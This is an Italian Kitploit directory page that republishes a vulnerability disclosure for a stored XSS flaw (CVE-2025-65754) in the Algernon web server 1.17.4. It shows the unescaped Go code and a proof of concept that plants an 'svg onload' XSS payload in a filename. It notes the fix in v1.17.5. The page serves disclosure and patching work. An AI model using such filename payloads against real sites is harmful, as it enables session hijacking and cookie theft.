Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-65754 — Algernon v1.17.4 è affetto da una vulnerabilità Cross-Site Scripting (XSS) che consente agli aggressori di eseguire codice arbitrario tramite un payload creato appositamente in un nome di file. | Kitploit
Strumenti/GitHubGitHub/bnyt7/cve-2025-65754
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration Testing
GitHubbnyt7/cve-2025-65754

CVE-2025-65754

Algernon v1.17.4 è affetto da una vulnerabilità Cross-Site Scripting (XSS) che consente agli aggressori di eseguire codice arbitrario tramite un payload creato appositamente in un nome di file.

Vedi Repository
110 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-65754 : XSS Memorizzato in Algernon 1.17.4

Descrizione

Algernon v1.17.4 è affetto da una vulnerabilità di Cross-Site Scripting (XSS) che consente agli attaccanti di eseguire codice arbitrario tramite un payload appositamente creato in un nome di file.

  • Progetto Affetto : Algernon - 1.17.4
  • Manutentore del Progetto : Alexander F. Rødseth (xyproto)
  • Tipo di Vulnerabilità : Cross-Site Scripting (XSS)
  • Vettore d'Attacco : Un attaccante potrebbe caricare file con nomi malintenzionati per modificare il contenuto di un sito web o rubare cookie per dirottare sessioni.

Alcune variabili non sono state sanificate. Ad esempio :

engine/dirhandler.go righe 80-108


filename := item.Name()  // Get filename from filesystem
// ...
buf.WriteString(themes.HTMLLink(filename, URLpath, ac.fs.IsDir(fullFilename)))

themes/html.go righe 124-132

func HTMLLink(text, url string, isDirectory bool) string {
    if isDirectory {
        text += "/"
        url += "/"
    }
    return "<a href=\"/" + url + "\">" + text + "</a><br>"
    // 'text' (filename) is inserted directly without HTML escaping
}

I nomi dei file dal filesystem vengono inseriti direttamente nell'HTML senza escaping nelle directory listing.

PoC

$ algernon -v                                  
Algernon 1.17.4

In una directory, crea file con payload xss come nomi.

# XSS Payload 1: Simple alert
$touch "test.txt"

# XSS Payload 2: Event handler in filename
$touch "document<svg onload=alert(document.domain)>.svg"

Nello stesso repository, esegui l'applicazione.

algernon
Server directory:       .
Server address:         :3000
Database:               Bolt (/tmp/algernon.db)
Cache mode:             On
Cache size:             1048576 bytes
TLS certificate:        cert.pem
TLS key:                key.pem
Request limit:          10/sec per visitor
Large file threshold:   44040192 bytes
Large file timeout:     10 sec
INFO[0000] Serving HTTP/2 on https://localhost:3000/    
ERRO[0000] open cert.pem: no such file or directory. Not serving HTTP/2. 
INFO[0000] Use the -t flag for serving regular HTTP.    
INFO[0000] Serving HTTP on http://localhost:3000/      

Visita il seguente URL, apparirà un alert.

Alert xss with onerror

Alert xss with document location

files

Questo problema è stato ora corretto nella v1.17.5.

Riferimenti

  • https://algernon.roboticoverlords.org/
  • https://github.com/xyproto/algernon/releases/tag/v1.17.5
  • https://github.com/xyproto/algernon/commit/cd8832014a624a9aeab60566434c3344135e23f8

Scopritore : Benoit H. (Bnyt7)

Scarica lo strumento